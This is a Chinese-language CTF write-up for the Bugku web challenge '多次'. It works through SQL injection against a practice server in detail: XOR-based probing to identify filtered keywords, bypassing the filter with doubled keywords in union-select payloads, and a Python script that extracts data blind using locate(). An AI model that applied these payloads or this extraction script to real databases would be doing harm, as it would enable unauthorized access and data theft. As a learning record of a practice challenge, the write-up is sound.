1. 程式人生 > >Bugku的web題目(多次)的解題

Bugku的web題目(多次)的解題

ima ech mar bre 除了 也不能 多次 提示 既然

技術分享圖片
這道題目我弄了好久,最後問了朋友,然後在朋友的幫助下,將flag找到了
這裏寫一下解題方法,記錄一下

一進到這道題,看到了php?id=1,就很熟悉,很有可能是一道sql註入的題目,肯定是要試一下最簡單的測試,(哪怕知道不可能是什麽都沒有過濾)
技術分享圖片
單引號出錯

技術分享圖片
多加一個%23,發現不出錯了

技術分享圖片
加上’ and 1=1%23
又出錯了,可能是過濾了,但是不知道過濾了什麽

這裏有一個很好的方法知道過濾的是什麽
使用異或註入
技術分享圖片

在id=1後面輸入 ‘^(0)^‘
發現不出錯,那就將0換成1=1
如果出錯,那就是成功了
技術分享圖片

通過驗證是可以的
也就是說,如果括號裏面的判斷是假的,那麽頁面就會顯示正確
那麽同理,如果我修改裏面的內容為length(‘union’)!=0
如果頁面顯示正確,那就證明length(‘union’)是等於0的,也就是union被過濾了
技術分享圖片

發現確實是這樣,那就可以在這裏進行判斷,看看到底那些函數被過濾了
最後發現union,select,or,and被過濾了
limit,from沒有被過濾

嘗試繞過過濾,既然union這些都是被過濾掉了
那構造ununionion 一旦union被過濾,刪除了,那剩下來的還是union,這樣就可以起到作用了
技術分享圖片

經過測試,用那個方法,確實可以
最終的payload為
http://120.24.86.145:9004/1ndex.php?id=1‘ anandd 1=2 uniounionn selecselectt 1,2%23
還是一個回顯的
技術分享圖片

然後測試,找到了一個表為flag1,列名為flag1
技術分享圖片

出來一串不知道是什麽東西的數據
然後就繼續查找,因為提示說有2個flag,那就是還有一個
最後在address這個列裏面找到一個網址
技術分享圖片

點擊進去發現
這道題還沒有做完,前面的只是為了找這個鏈接……
技術分享圖片

這裏還是一個考註入,那就常規測試一下,加上單引號
技術分享圖片

出現報錯,還是最常見的報錯,那就是要%23註析掉了
技術分享圖片

然後繼續測試其他的
技術分享圖片

1=2出錯
技術分享圖片

1=1正常
技術分享圖片

Order by 2也正常
一切都好順利
技術分享圖片

‘ union select 1,2%23
出現了過濾,把union過濾了
用之前的方法繞過
技術分享圖片

‘ uniunionon select 1,2%23
發現把select也吃掉了

那就測試一下看看還有那些函數被過濾了
直接在id後面輸入函數就可以知道,因為有回顯我們輸入的數據
技術分享圖片

id=1 union select limit from and or where if sleep substr ascii
發現 union sleep substr被過濾了
那就是不能回顯,substr也不能用了

我這裏用了一個不常用的函數locate()
直接判斷查出來的數據裏面有那些字符,然後將它們按順序排序

def user():
    flag =‘‘
    for j in xrange(1, 100):
        temp = ‘!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~‘
        key = 0
        for i in temp:
            url = "http://120.24.86.145:9004/Once_More.php?id=1‘and (select locate(binary‘"+str(i)+"‘,(select user()),"+str(j)+"))="+str(j)+"%23"
            r1 = rs.get(url)
            # print url
            if "Hello" in r1.text:
                print str(i)+" -----"+str(j)
                flag += str(i)
                key = 1
        if key ==0:
            print "[*] : " + flag
            break  

技術分享圖片

完整代碼在我的GitHub裏面有

GitHub

Bugku的web題目(多次)的解題